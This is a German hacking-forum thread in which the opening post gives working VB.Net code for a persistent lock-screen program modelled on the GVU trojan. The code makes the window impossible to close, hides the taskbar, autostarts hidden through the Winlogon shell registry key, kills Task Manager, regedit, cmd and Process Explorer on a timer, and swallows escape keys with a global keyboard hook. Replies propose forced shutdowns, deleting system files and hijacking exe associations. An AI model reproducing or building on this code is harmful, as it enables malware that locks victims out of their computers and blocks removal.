Wir bauen uns persistente Malware

Discussion in 'Tipps & Tricks' started by hoschi111, Jan 17, 2013.

  1. hoschi111

    hoschi111 Active Member Inventar

    Joined:
    Dec 19, 2017
    Messages:
    1,149
    Likes Received:
    8
    Nachdem ich also doch mit dem GVU-Trojaner infiziert worden war, wollte ich wissen, wie es dieses Programm geschafft hat, so brutal persistent zu sein.
    Ich werde nun einige VB.Net-Snippets posten, die es fast unmöglich machen das Programm zu löschen / beenden.

    Form1 Eigenschaften:
    Code:
    FormBorderStyle = None
    MinimizeBox = False
    ShowIcon = False
    ShowInTaskbar = False
    StartPosition = CenterScreen
    WindowState = Maximized

    Form1 Events:
    Code:
    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
    e.Cancel = True
    End Sub
    
    Private Sub Form1_Disposed(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Disposed
    Me.BringToFront()
    End Sub
    
    Private Sub Form1_LostFocus(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.LostFocus
    Me.BringToFront()
    End Sub
    

    Taskbar ausschalten:
    Deklaration:
    Code:
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Integer
    Private Declare Function SetWindowPos Lib "user32" Alias "SetWindowPos" (ByVal hwnd As Integer, ByVal hWndInsertAfter As Integer, ByVal x As Integer, ByVal y As Integer, ByVal cx As Integer, ByVal cy As Integer, ByVal wFlags As Integer) As Integer
    Private Const SWP_SHOWWINDOW = &H40
    Private Const SWP_HIDEWINDOW = &H80
    Aufruf:
    Code:
    Dim hWnd As Integer
    hWnd = FindWindow("Shell_TrayWnd", "")
    Call SetWindowPos(hWnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
    

    Versteckter Autostart:
    Code:
    Dim taskmgrkey As RegistryKey
    taskmgrkey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows NT\CurrentVersion\Winlogon", True)
    taskmgrkey.SetValue("shell", "explorer.exe," &  Application.ExecutablePath)

    Timer zum Killen von einigen Programmen:
    Code:
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    Dim proc As System.Diagnostics.Process
    Dim pList() As Process
    Dim pList2() As Process
    Dim pList3() As Process
    Dim pList4() As Process
    Dim pList5() As Process
    pList = Process.GetProcessesByName("taskmgr")
    pList2 = Process.GetProcessesByName("regedit")
    pList3 = Process.GetProcessesByName("cmd")
    pList4 = Process.GetProcessesByName("procexp")
    pList5 = Process.GetProcessesByName("procexp64")
    
    For Each proc In pList
    proc.Kill()
    Next
        	
    For Each proc In pList2
    proc.Kill()
    Next
    
    For Each proc In pList3
    proc.Kill()
    Next
    
    For Each proc In pList4
    proc.Kill()
    Next
    
    For Each proc In pList5
    proc.Kill()
    Next
    

    Mousemover:
    Deklaration:
    Code:
    Dim mousex As Integer = 0
    Dim mousey As Integer = 0
    Dim status As Boolean = False
    
    Ins Form1.Load Event:
    Code:
    With Screen.PrimaryScreen.Bounds
    mousex = .Height
    mousey = .Width
    End With
    
    Timer:
    Code:
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    If status = False Then
    Cursor.Position = New Point(mousex + 100, mousey / 2)
    status = True
    Else
    Cursor.Position = New Point(mousex + 200, mousey / 2)
    status = False
    End If
    End Sub
    

    Keyboard Hook:
    Deklaration:
    Code:
     Private Declare Sub keybb_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Integer, ByVal dwExtraInfo As Integer)
    	Private Const KEYEVENTF_KEYUP = &H2
    	Private Delegate Function HOOKPROCDelegate(ByVal nCode As Integer, ByVal wParam As IntPtr, ByRef lParam As KBDLLHOOKSTRUCT) As IntPtr
    	' dauerhafte Delegaten-Variable erzeugen
    	Private HookProc As New HOOKPROCDelegate(AddressOf KeyboardHookProc)
    	Private Declare Unicode Function GetModuleHandleW Lib "kernel32.dll" (ByVal lpModuleName As IntPtr) As IntPtr
    	' Die Funktion, um einen globalen Hook setzen zu können:
    	Private Declare Unicode Function SetWindowsHookExW Lib "user32.dll" (ByVal idHook As Integer, ByVal lpfn As HOOKPROCDelegate, ByVal hMod As IntPtr, ByVal dwThreadId As UInteger) As IntPtr
    	' Für das Löschen des Hooks wird diese Funktion verwendet:
    	Private Declare Unicode Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hhk As IntPtr) As UInteger
    	Private Declare Unicode Function CallNextHookEx Lib "user32.dll" (ByVal hhk As IntPtr, ByVal nCode As Integer, ByVal wParam As IntPtr, ByRef lParam As KBDLLHOOKSTRUCT) As IntPtr
    
    	Private Const WM_KEYDOWN As Int32 = &H100	' Konstante für WM_KEYDOWN
    	Private Const WM_KEYUP As Int32 = &H101  	' Konstante für WM_KEYUP
    	Private Const HC_ACTION As Integer = 0   	' Konstante für HC_ACTION
    	Private Const WH_KEYBOARD_LL As Integer = 13 ' Konstante für WH_KEYBOARD_LL
    	Public PrevWndProc As Integer
    	Private mHandle As IntPtr
    
    Code:
    Code:
    <StructLayout(LayoutKind.Sequential)> Public Structure KBDLLHOOKSTRUCT
        	Public vkCode As Keys
        	Public scanCode, flags, time, dwExtraInfo As UInteger
    
        	Public Sub New(ByVal key As Keys, ByVal scancod As UInteger, ByVal flagss As UInteger, ByVal zeit As UInteger, ByVal extra As UInteger)
            	vkCode = key
            	scanCode = scancod
            	flags = flagss
            	time = zeit
            	dwExtraInfo = extra
        	End Sub
    	End Structure
    
    	Public Property KeyHookEnable() As Boolean
        	Get
            	Return mHandle <> IntPtr.Zero
        	End Get
        	Set(ByVal value As Boolean)
            	If KeyHookEnable = value Then Return
            	If value Then
                	mHandle = SetWindowsHookExW(WH_KEYBOARD_LL, HookProc, _
                  	GetModuleHandleW(IntPtr.Zero), 0)
            	Else
                	UnhookWindowsHookEx(mHandle)
                	mHandle = IntPtr.Zero
            	End If
        	End Set
    	End Property
    
    	Private Function KeyboardHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByRef lParam As KBDLLHOOKSTRUCT) As IntPtr
    
        	Dim fEatKeyStroke As Boolean
    
        	If nCode = HC_ACTION Then
    
            	Select Case lParam.vkCode 'Folgende Keys werden verschluckt
                	Case Keys.Shift
                    	fEatKeyStroke = True
                	Case Keys.Alt
                    	fEatKeyStroke = True
                	Case Keys.Home
                    	fEatKeyStroke = True
                	Case Keys.Enter
                    	fEatKeyStroke = True
                	Case Keys.Tab
                    	fEatKeyStroke = True
                	Case Keys.End
                    	fEatKeyStroke = True
                	Case Keys.Escape
                    	fEatKeyStroke = True
                	Case Keys.LWin
                    	fEatKeyStroke = True
                	Case Keys.RWin
                    	fEatKeyStroke = True
                	Case Keys.Delete
                    	fEatKeyStroke = True
                	Case Keys.F4
                    	fEatKeyStroke = True
            	End Select
    
            	If fEatKeyStroke Then
                	Return New IntPtr(1)
                	Exit Function
            	End If
    
            	Return CallNextHookEx(mHandle, nCode, wParam, lParam)
        	End If
    	End Function
    
    Aufruf:
    Code:
    KeyHookEnable = True

    So einfach ist das mit VB.Net!
    Viel Spaß, macht keinen Scheiß damit! Ihr seid selber für euch verantwortlich.
    Nur zu Studienzwecke!
     
  2. krusty

    krusty Addicted Member Inventar

    Joined:
    Sep 8, 2012
    Messages:
    175
    Likes Received:
    0
    Das sollte mehr kommentiert werden.
     
  3. Dr@ke

    Dr@ke Addicted Member Inventar

    Joined:
    Jul 10, 2012
    Messages:
    619
    Likes Received:
    3
    Ich finds persönlich zuviel Code o_O
    Damit könnte sogar meine kleine Schwester nen Programm draus machen ;)

    Sonst nice hoschi :)
    Musst nur aufpassen dass wir nicht zum Security-Board mutieren :D (hätte aber auch was xD)
     
  4. Sarge

    Sarge Well-Known Member Inventar

    Joined:
    Oct 11, 2012
    Messages:
    61
    Likes Received:
    0
    @ Drake: Es ist sowieso egal, wenn es hier gepostet wird, bauen kann man sich so ein Ding auch ohne KE, den Code zu so etwas in der Art findet man überall (habe ich auch bereits mal auf die Reihe bekommen), auch wenn nicht den dem Umfang wie hier.

    Man kann durch VB Dateiordner auf der Festplatte löschen, z.B. die Windowsdateien. Würde der Computer Probleme beim Starten bekommen, wenn die ganze Festplatte C bereinigt wird? Also alle Ordner gelöscht?

    @Hoschi: Die Kirsche auf dem Sahnehäubchen (soweit ich es gesehen habe, ist es nicht drin):
    Shell ( "shutdown -s" ) :thumbsup:
     
  5. Dr@ke

    Dr@ke Addicted Member Inventar

    Joined:
    Jul 10, 2012
    Messages:
    619
    Likes Received:
    3
    Aber so etwas muss man nicht unbedingt unterstützen ;)

    Die Windows-Dateien lassen sich nicht ganz so leicht löschen ;D
     
  6. lowfry

    lowfry Addicted Member Inventar

    Joined:
    Aug 3, 2012
    Messages:
    371
    Likes Received:
    11
    "Take ownership" - von dem Trusted installer die Rechte an mich übergeben, sollte doch funzen, oder nicht?
     
  7. krusty

    krusty Addicted Member Inventar

    Joined:
    Sep 8, 2012
    Messages:
    175
    Likes Received:
    0
    Code:
    Shell ( "shutdown -s" )
    ein wenig Widersprüchlich. Die Software soll persistent sein. Aber dieser Befehl fährt den Rechner und das ist eventuell die einzige Möglichkeit das Programm zu beenden...

    Da die wichtigen WindowsDateien in Benutzung sind, kann man sie nicht löschen.
    Das ist generell so, wenn eine Datei geöffnet ist, dann kann man sie nicht löschen.

    Es gibt einige WindowsDateien, die beim Start benötigt werden und die man zur Laufzeit killn kann allerdings mit Adminrechten.
     
  8. Dr@ke

    Dr@ke Addicted Member Inventar

    Joined:
    Jul 10, 2012
    Messages:
    619
    Likes Received:
    3
    Sonst könnte man noch als kleines Sahnehäubchen exe-Dateien entführen, falls das jmd kennt :)

    Ich hab versucht es zur Veranschaulichung zu programmieren (allerdings kann man es nur installieren und nicht mehr deinstallieren, als unerfahrener User deswegen lass ichs mal lieber :D)
    Wollte das eigentlich mit nem Uninstaller wieder machen, aber da die exen ja dann schon mal außen vor sind kann man das dann ja vergessen xD
     
  9. krusty

    krusty Addicted Member Inventar

    Joined:
    Sep 8, 2012
    Messages:
    175
    Likes Received:
    0
    Wo ist das problem ?
     
  10. Cre3per

    Cre3per Addicted Member Inventar

    Joined:
    Oct 22, 2012
    Messages:
    697
    Likes Received:
    2
    @krusty ich habe nur kurz drübergeschaut, aber ich glaube, dass in einem timer immer alle prozesse beendet werden. Es ist mit nem uninstaller zwar trotzdem möglich, der muss seine arbeit dann aber schnell erledigen und man muss es erstmal schaffen den zu starten, da die eingabeaufforderung ja auch direkt geschlossen wird.
     
  11. Dr@ke

    Dr@ke Addicted Member Inventar

    Joined:
    Jul 10, 2012
    Messages:
    619
    Likes Received:
    3
    Mein Problem ist nicht das alle exen geschlossen werden (hab ja nicht hoschis genommen, sondern was neues gemacht)

    Ich hab alle exe-Dateien entführt, also die werden nicht mehr normal ausgeführt sondern werden alle an mein Programm weiter geleitet...
    Ich könnte zwar mein Programm so machen dass es den Uninstaller durchlässt, aber ich hab gestern dann die Lust verloren :D
     
  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.